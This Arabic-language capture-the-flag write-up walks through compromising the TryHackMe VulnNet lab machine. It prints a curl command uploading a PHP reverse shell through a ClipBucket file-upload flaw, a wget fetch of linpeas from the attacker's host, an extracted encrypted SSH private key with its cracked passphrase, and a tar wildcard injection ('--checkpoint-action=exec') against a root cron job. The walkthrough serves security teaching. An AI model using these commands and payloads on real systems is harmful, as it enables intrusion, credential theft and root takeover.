من خلال بحثنا في searchsploit، لقينا Exploit جاهز لنسخة ClipBucket المستعملة:
ثغرة رفع ملفات عشوائية بدون أي توثيق (Unauthenticated Arbitrary File Upload)، وهذا معناه نقدر نرفع شِل مباشرة للسيرفر حتى قبل تسجيل الدخول للوحة التحكم.

تجهيز الشِل

بما أن كالي يحتوي مسبقًا على Reverse Shell جاهز، نسخناه للعمل:

cp /usr/share/webshells/php/php-reverse-shell.php ./rev.php

قمنا بعدها بتعديل IP و PORT داخل rev.php ليتوافق مع عنوان جهازنا وبورت الاستماع.

رفع الشِل

استعملنا الأمر من الـ exploit مع تعديل الملف:

curl -u developers:9972761drmfsls -F "file=@rev.php" -F "plupload=1" -F "name=rev.php" "http://broadcast.vulnnet.thm/actions/beats_uploader.php"

النتيجة:

creating file{"success":"yes","file_name":"17547351436587e3","extension":"php","file_directory":"CB_BEATS_UPLOAD_DIR"} % 

تشغيل الـ Reverse Shell

http://vulnnet.thm/action/CB_BEATS_UPLOAD_DIR/17547351436587e3.php

Thm Vulnnet Rce

تثبيت الجلسة

$ python3 -c 'import pty;pty.spawn("/bin/bash")';
www-data@vulnnet:/$ whoami
whoami
www-data
www-data@vulnnet:/$ pwd 
pwd 
/
www-data@vulnnet:/$ id 
id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@vulnnet:/$ 

.أصبح عندنا شِل تفاعلي كامل كمستخدم www-data.

linpeas python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...
10.10.120.89 - - [09/Aug/2025 11:59:32] "GET /linpeas.sh HTTP/1.1" 200 -

Privilege Escalation – تصعيد الصلاحيات

التصعيد الأول – من www-data إلى server-management

بعد ما حصلنا على reverse shell كمستخدم www-data, بدأنا في مرحلة الاستكشاف للحصول على صلاحيات أعلى.

1. تشغيل أداة LinPEAS

رفعنا الأداة إلى السيرفر وشغلناها:

www-data@vulnnet:/home$ cd /tmp
cd /tmp
www-data@vulnnet:/tmp$ wget http://10.23.150.79:8889/linpeas.sh
wget http://10.23.150.79:8889/linpeas.sh
--2025-08-09 12:59:31--  http://10.23.150.79:8889/linpeas.sh
Connecting to 10.23.150.79:8889... connected.
HTTP request sent, awaiting response... 200 OK
Length: 952817 (930K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh            0%[                    ]       0  --.-KB/s             linpeas.sh            9%[>                   ]  87.29K   435KB/s             linpeas.sh           27%[====>               ] 255.65K   627KB/s             linpeas.sh           44%[=======>            ] 416.52K   679KB/s             linpeas.sh           62%[===========>        ] 581.13K   710KB/s             linpeas.sh           86%[================>   ] 802.26K   778KB/s             linpeas.sh          100%[===================>] 930.49K   814KB/s    in 1.1s    

2025-08-09 12:59:32 (814 KB/s) - 'linpeas.sh' saved [952817/952817]

www-data@vulnnet:/tmp$ chmod +x linpeas.sh*
chmod +x linpeas.sh*
www-data@vulnnet:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@vulnnet:/tmp$ ./linpeas.sh
Thm Vulnnet Linpeas

النتائج كشفت في /var/backups وجود ملف احتياطي باسم ssh-backup.tar.gz ينتمي لمستخدم server-management، وهذا تلميح قوي بوجود مفاتيح SSH خاصة به.

wxr-xr-x 2 root root 4096 Aug  9 12:58 /var/backups
total 2340
-rw-r--r-- 1 root              root                51200 Jan 23  2021 alternatives.tar.0
-rw-r--r-- 1 root              root                13896 Jan 23  2021 apt.extended_states.0
-rw-r--r-- 1 root              root                   11 Jan 23  2021 dpkg.arch.0
-rw-r--r-- 1 root              root                   43 Jan 23  2021 dpkg.arch.1.gz
-rw-r--r-- 1 root              root                   43 Jan 23  2021 dpkg.arch.2.gz
-rw-r--r-- 1 root              root                  280 Jan 23  2021 dpkg.diversions.0
-rw-r--r-- 1 root              root                  160 Jan 23  2021 dpkg.diversions.1.gz
-rw-r--r-- 1 root              root                  160 Jan 23  2021 dpkg.diversions.2.gz
-rw-r--r-- 1 root              root                  265 Jan 23  2021 dpkg.statoverride.0
-rw-r--r-- 1 root              root                  195 Jan 23  2021 dpkg.statoverride.1.gz
-rw-r--r-- 1 root              root                  179 Jan 23  2021 dpkg.statoverride.2.gz
-rw-r--r-- 1 root              root              1402383 Jan 25  2021 dpkg.status.0
-rw-r--r-- 1 root              root               386206 Jan 23  2021 dpkg.status.1.gz
-rw-r--r-- 1 root              root               366251 Jan 23  2021 dpkg.status.2.gz
-rw------- 1 root              root                  857 Jan 23  2021 group.bak
-rw------- 1 root              shadow                712 Jan 23  2021 gshadow.bak
-rw------- 1 root              root                 1831 Jan 23  2021 passwd.bak
-rw------- 1 root              shadow               1118 Jan 23  2021 shadow.bak
-rw-rw-r-- 1 server-management server-management    1484 Jan 24  2021 ssh-backup.tar.gz
-rw-r--r-- 1 root              root                49338 Jan 25  2021 vulnnet-Monday.tgz
-rw-r--r-- 1 root              root                49338 Aug  9 13:04 vulnnet-Saturday.tgz
Thm Vulnnet Pe Sshbackup

2. استخراج مفتاح SSH لاستخدامه لاحقًا

رفعنا الملف الى /tmp وفككنا الضغط:

www-data@vulnnet:/tmp$ cp /var/backups/ssh-backup.tar.gz ./ssh.tar.gz
cp /var/backups/ssh-backup.tar.gz ./ssh.tar.gz
www-data@vulnnet:/tmp$ ls
ls
linpeas.sh  ssh.tar.gz
www-data@vulnnet:/tmp$ tar -xzf ssh.tar.gz
tar -xzf ssh.tar.gz
www-data@vulnnet:/tmp$ ls 
ls 
id_rsa	linpeas.sh  ssh.tar.gz
www-data@vulnnet:/tmp$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6CE1A97A7DAB4829FE59CC561FB2CCC4

mRFDRL15t7qvaZxJGHDJsewnhp7wESbEGxeAWtCrbeIVJbQIQd8Z8SKzpvTMFLtt
dseqsGtt8HSruVIq++PFpXRrBDG5F4rW5B6VDOVMk1O9J4eHEV0N7es+hZ22o2e9
60qqj7YkSY9jVj5Nqq49uUNUg0G0qnWh8M6r8r83Ov+HuChdeNC5CC2OutNivl7j
dmIaFRFVwmWNJUyVen1FYMaxE+NojcwsHMH8aV2FTiuMUsugOwZcMKhiRPTElojn
tDrlgNMnP6lMkQ6yyJEDNFtn7tTxl7tqdCIgB3aYQZXAfpQbbfJDns9EcZEkEkrp
hs5Li20NbZxrtI6VPq6/zDU1CBdy0pT58eVyNtDfrUPdviyDUhatPACR20BTjqWg
3BYeAznDF0MigX/AqLf8vA2HbnRTYWQSxEnAHmnVIKaNVBdL6jpgmw4RjGzsUctk
jB6kjpnPSesu4lSe6n/f5J0ZbOdEXvDBOpu3scJvMTSd76S4n4VmNgGdbpNlayj5
5uJfikGR5+C0kc6PytjhZrnODRGfbmlqh9oggWpflFUm8HgGOwn6nfiHBNND0pa0
r8EE1mKUEPj3yfjLhW6PcM2OGEHHDQrdLDy3lYRX4NsCRSo24jtgN1+aQceNFXQ7
v8Rrfu5Smbuq3tBjVgIWxolMy+a145SM1Inewx4V4CX1jkk6sp0q9h3D03BYxZjz
n/gMR/cNgYjobbYIEYS9KjZSHTucPANQxhUy5zQKkb61ymsIR8O+7pHTeReelPDq
nv7FA/65Sy3xSUXPn9nhqWq0+EnhLpojcSt6czyX7Za2ZNP/LaFXpHjwYxBgmMkf
oVmLmYrw6pOrLHb7C5G6eR6D/WwRjhPpuhCWWnz+NBDQXIwUzzQvAyHyb7D1+Itn
MesF+L9zuUADGeuFl12dLahapM5ZuKURwnzW9+RwmmJSuT0AnN5OyuJtwfRznjyZ
7f5NP9u6vF0NQHYZI7MWcH7PAQsGTw3xzBmJdIfF71DmG0rqqCR7sB2buhoI4ve3
obvpmg2CvE+rnGS3wxuaEO0mWxVrSYiWdi7LJZvppwRF23AnNYNTeCw4cbvvCBUd
hKvhau01yVW2N/R8B43k5G9qbeNUmIZIltJZaxHnQpJGIbwFSItih49Fyr29nURK
ZJbyJbb4+Hy2ZNN4m/cfPNmCFG+w0A78iVPrkzxdWuTaBOKBstzpvLBA20d4o3ow
wC6j98TlmFUOKn5kJmX1EQAHJmNwERNKFmNwgHqgwYNzIhGRNdyoqJxBrshVjRk9
GSEZHtyGNoBqesyZg8YtsYIFGppZFQmVumGCRlfOGB9wPcAmveC0GNfTygPQlEMS
hoz4mTIvqcCwWibXME2g8M9NfVKs7M0gG5Xb93MLa+QT7TyjEn6bDa01O2+iOXkx
0scKMs4v3YBiYYhTHOkmI5OX0GVrvxKVyCJWY1ldVfu+6LEgsQmUvG9rYwO4+FaW
4cI3x31+qDr1tCJMLuPpfsyrayBB7duj/Y4AcWTWpY+feaHiDU/bQk66SBqW8WOb
d9vxlTg3xoDcLjahDAwtBI4ITvHNPp+hDEqeRWCZlKm4lWyI840IFMTlVqwmxVDq
-----END RSA PRIVATE KEY-----

تفقدنا الملف ووجدناه مفتاح RSA مشفر بكلمة مرور.

3. كسر كلمة مرور المفتاح باستخدام John the Ripper

للوصول إلى محتويات المفتاح، استخدمنا أداة ssh2john لتحويله إلى صيغة يمكن لـ John معالجتها:

ssh2john id_rsa > hashrsa.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashrsa.txt --format=SSH
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
oneTWO3gOyac     (id_rsa)     
1g 0:00:00:01 DONE (2025-08-09 12:12) 0.8695g/s 4267Kp/s 4267Kc/s 4267KC/s one_0012..one98t7
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Thm Vulnnet Johnrsa

4. تسجيل الدخول كمستخدم server-management

الآن وبعد فك تشفير المفتاح، ضبطنا أذونات الملف واتصلنا عبر SSH:

ssh server-management@vulnnet.thm -i id_rsa
The authenticity of host 'vulnnet.thm (10.10.120.89)' can't be established.
ED25519 key fingerprint is SHA256:GgnSIc02m6P4YfjO6UVJaykCDYShjpPCn/B4+fzh+4k.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'vulnnet.thm' (ED25519) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0664 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
server-management@vulnnet.thm's password: 

sudo chmod 600 id_rsa
[sudo] password for doctorhou: 
➜  1vulnnet ssh server-management@vulnnet.thm -i id_rsa
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-134-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 * Introducing self-healing high availability clusters in MicroK8s.
   Simple, hardened, Kubernetes for production, from RaspberryPi to DC.

     https://microk8s.io/high-availability

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

560 packages can be updated.
359 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

server-management@vulnnet:~$ whoami
server-management
server-management@vulnnet:~$ pwd
/home/server-management
server-management@vulnnet:~$ id
uid=1000(server-management) gid=1000(server-management) groups=1000(server-management)

درك واحنا ولّينا عندنا أكسس تاوع يوزر، ما بقات غير حاجة وحدة: نروحو لدارو ونشوفو user.txt.

التصعيد الثاني – من server-management إلى root

رجعنا نشوف نتائج linpeas، ولقينا كاين cronjob رايح يتنفّذ كل فترة، وظيفتو يدير backup لملفات /home/server-management/Documents ويخزنهم في /var/backups.

*/2   * * * *	root	/var/opt/backupsrv.sh
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
Thm Vulnnet Pe Cron

كي فتحناه، لقينا السكريبت:

#!/bin/bash

# Where to backup to.
dest="/var/backups"

# What to backup. 
cd /home/server-management/Documents
backup_files="*"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"
date

# Long listing of files in $dest to check file sizes.
ls -lh $dest
وش هو الـ Cron Job؟

Cron Job هو خدمة في لينكس تخليك تشغّل أوتوماتيكياً أوامر/سكريبتات في وقت معيّن أو بفترات منتظمة (مثلاً كل دقيقة، كل ساعة، كل يوم…).
في حالتنا، لقينا واحد cronjob يشتغل باسم root، ومهمته هي عمل Backup لمجلد معيّن كل فترة.

واش يدير السكريبت بالضبط؟

السكريبت يروح لمجلد /home/server-management/Documents، ياخذ جميع الملفات اللي فيه، ويضغطهم في أرشيف .tgz، ثم يحط النتيجة في /var/backups.

جزء من الكود:

cd /home/server-management/Documents<br>backup_files="*"<br>tar czf /var/backups/backup.tgz $backup_files

هنا الـ "*" معناها wildcard، يعني “أي حاجة في المجلد” (كل الملفات والمجلدات).

واش هو الـ Wildcard؟

الـ wildcard * في لينكس هو رمز خاص كي يستعمله أمر (مثل tar أو ls) يعني “كل الملفات” أو “أي اسم”.
المشكل (أو الميزة بالنسبة لنا 😏) هو: لو كان اسم الملف فيه أوامر خاصة بـ tar، رايح tar يفكر أنو خيار من أوامر التشغيل، موش مجرد اسم ملف.

كيفاش نستغلوها؟

الفكرة بسيطة:

  • tar عندو خيار اسمو --checkpoint-action=exec=COMMAND، يخليك تشغّل أمر معين في وسط عملية الـ backup.
  • إذا حطينا ملف في المجلد اسمو بالضبط --checkpoint-action=exec=sh shell.sh، وقت ما tar يشوفو، رايح ينفذ أمر sh shell.sh.
  • وبما أن السكريبت يتنفذ بـ root، أمرنا رايح يتنفذ بصلاحيات root.

خطوات الاستغلال:

أولاً، كتبنا سكريبت shell.sh فيه كود Reverse Shell:

Thm Vulnnet Revshell

بعدها، حضّرنا ملفات الـ tar exploit:

server-management@vulnnet:~/Documents$ touch shell.sh
server-management@vulnnet:~/Documents$ nano shell.sh 
server-management@vulnnet:~/Documents$ chmod +x shell.sh 
server-management@vulnnet:~/Documents$ echo > '--checkpoint=1'
server-management@vulnnet:~/Documents$ echo > '--checkpoint-action=exec=sh shell.sh'
server-management@vulnnet:~/Documents$ ls 
'--checkpoint=1'                        'Employee Search Progress Report.pdf'
'--checkpoint-action=exec=sh shell.sh'   shell.sh
'Daily Job Progress Report Format.pdf'
server-management@vulnnet:~/Documents$ 

جهزنا listener على جهازنا: nc -lvnp 4443

Thm Vulnnet Pe Shell

جلسنا نستنى حتى يشتغل الـ cronjob… وبعد دقائق جالنا اتصال كـ root.

Thm Vulnnet Rooted

وأخيرًا بعد ما استغلّينا الثغرة، قدرنا نوصل لملف root.txt ونعرِض المحتوى ديالو، وبذلك نكون أكملنا عملية التصعيد بنجاح

Thm Vulnnet So Rooted

فيديو الشرح الكامل

الخاتمة والنتائج

في هذا التحدي عشنا رحلة من البداية للنهاية، من أول خطوة في الاستكشاف حتى وصلنا لصلاحيات الـ root.

خدمنا بالمنهجية والهدوء، كل خطوة كانت مفتاح للخطوة اللي بعدها:

  1. فحصنا الشبكة واكتشفنا الخدمات المفتوحة.
  2. جربنا عدة تقنيات واستغلالات، ونجحنا نحصل على شل محدود.
  3. من بعد استعملنا أدوات قوية كيما linpeas باش نلقى ثغرات تصعيد صلاحيات.
  4. فكّينا مفاتيح SSH مشفرة وكسرنا كلمات المرور.
  5. استغلينا ثغرة wildcard في الـ cronjob باش نرتقي للـ root.

هذه التجربة تزيد من فهمنا لأهمية تحديث الأنظمة، تقوية كلمات المرور، وتنظيم صلاحيات المستخدمين باش نمنع هجمات مشابهة.

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *